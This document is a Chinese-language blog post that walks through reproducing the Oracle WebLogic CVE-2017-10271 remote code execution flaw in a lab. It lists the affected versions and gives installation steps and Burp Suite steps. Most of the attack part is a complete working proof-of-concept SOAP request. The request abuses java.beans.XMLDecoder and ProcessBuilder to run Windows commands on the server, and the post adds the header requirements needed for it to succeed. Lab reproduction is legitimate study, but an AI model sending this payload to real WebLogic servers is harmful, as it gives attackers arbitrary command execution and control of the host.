Weblogic(CVE-2017-10271)漏洞复现 附POC

最近的CVE-2017-10271也是引起了一个小风波,所以趁着网速好的时候下载了一个Weblogic搭建起来打算进行一次复现。

看了别人的漏洞复现教程 只看到了他怎么用exp怼成功,没写太明白我饶了不少弯子。

漏洞编号

CVE-2017-10271

影响范围

Oracle WebLogic Server 10.3.6.0.0 版本
Oracle WebLogic Server 12.1.3.0.0 版本
Oracle WebLogic Server 12.2.1.1.0 版本

漏洞详情

Oracle Fusion Middleware 中的 Oracle WebLogic Server 组件的 WLS Security 子组件存
在安全漏洞。使用精心构造的 xml 数据可能造成任意代码执行,攻击者只需要发送精心构造
的 HTTP 请求,就可以拿到目标服务器的权限。攻击者可利用该漏洞控制组件,影响数据的
可用性、保密性和完整性。

复现环境

漏洞环境: Windows 2003 R2

漏洞版本文件:如果是土豪用户复制下面的链接

链接: https://pan.baidu.com/s/1hunIGTI 密码: h4qn

不是土豪用户那就去官方下载对应漏洞版本,不然百度云的限速,限到你怀疑人生是否被日

weblogic官网下载地址http://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html

安装过程

下载完成安装方法 cmd命令:cd C:\Program Files (x86)\Java\jdk1.7.0_80\bin 这个目录下 执行 java -jar xxx.jar(漏洞文件地址) 每个人的java安装目录不一样,请自行改写。

01

之后弹出配置界面我默认选择下一步。君随便!

05

安装完成

复现过程

如果访问/wls-wsat/CoordinatorPortType 目录,存在下图则说明或许存在漏洞

02

1.访问我靶机地址。开启burp抓包

1
http://192.168.64.128:7001/wls-wsat/CoordinatorPortType

2.这是burp拦截到包是这样的

1
2
3
4
5
6
7
8
9
GET /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.64.128:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Cookie: ADMINCONSOLESESSION=ogQg9vh6C79piUJtLAFlnwm-QVVCJXULJJKsQ2rFsLHj0RJmHzs0!1010165174
Connection: close

3.用下面poc替换刚刚你拦截的包,此时你的包变成下面内容。

注意的是,在发送请求的时候,在请求头中必带Upgrade-Insecure-Requests: 1以及Content-Type: text/xml,否则是无法请求成功的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /wls-wsat/CoordinatorPortType?wsdl HTTP/1.1
Host: 192.168.64.128:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: ADMINCONSOLESESSION=EyuBou39-ST7AlyotNoPLKktqrnsuRWG--n-h57dMpb9PsSnTdav!-2052172321
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 944

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>start xxx223 </string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

4.发送到repeater测试(这里是使用的ProcessBuilder类进行的本地命令调用的)

03

6.看到返回信息代表成功去服务器看是不是已经添加好了;ok证明漏洞利用成功

04

-------------本文结束感谢您的阅读-------------